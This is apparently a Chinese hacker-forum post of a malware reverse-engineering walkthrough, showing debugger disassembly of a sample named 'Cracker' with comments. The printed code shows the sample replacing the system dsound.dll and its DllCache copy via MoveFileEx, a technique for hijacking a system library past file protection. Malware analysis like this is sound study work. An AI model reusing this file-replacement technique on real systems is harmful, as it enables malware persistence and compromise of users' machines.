00404175   . 68 2C634000   push Cracker.0040632C                 ; UNICODE "C:\WINDOWS\system32\dsound.dll"
0040417A   . 6A 00         push 0x0
0040417C   . E8 00000000   call Cracker.00404181                 ; 下面四句计算返回地址40418C，并压入栈
00404181   $ 58            pop eax
00404182   . 83C0 0B       add eax,0xB
00404185   . 50            push eax
00404186   .- FF25 24634000 jmp dword ptr ds:[0x406324]           ; 调转到开辟10字节堆空间
0040418C   . FF75 F8       push dword ptr ss:[ebp-0x8]           ; /hLibModule
0040418F   . FF15 48504000 call dword ptr ds:[<&kernel32.FreeLib>; \FreeLibrary
00404195   . 33C0          xor eax,eax
00404197   > 5F            pop edi
00404198   . 5E            pop esi
00404199   . 5B            pop ebx
0040419A   . C9            leave
0040419B   . C3            retn

0040455B |. /74 13         je XCracker.00404570
0040455D |. |8D85 8CFBFFFF lea eax,[local.285]
00404563 |. |6A 01         push 0x1
00404565 |. |50            push eax                              ; C:\Windows\system32\dsound.dll.CNCL
00404566 |. |8D85 94FDFFFF lea eax,[local.155]
0040456C |. |50            push eax                              ; C:\Windows\system32\dsound.dll
0040456D |. |FF55 08       call [arg.1]                          ; MoveFileEx
00404570 |> \8D85 98FEFFFF lea eax,[local.90]
00404576 |. 50            push eax                              ; C:\Windows\system32\DllCache\dsound.dll

到这里母体就差不多了，，，，看来还有一些主要的功能是在dll，，，改天再看了。洗洗睡觉。这次就不写总结了，，，，，

登录

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

病毒汇编逆向分析实例赏析 - 5t4rk

精选回复

创建帐户或登录后发表意见

最近浏览 0

帐户

导航

搜索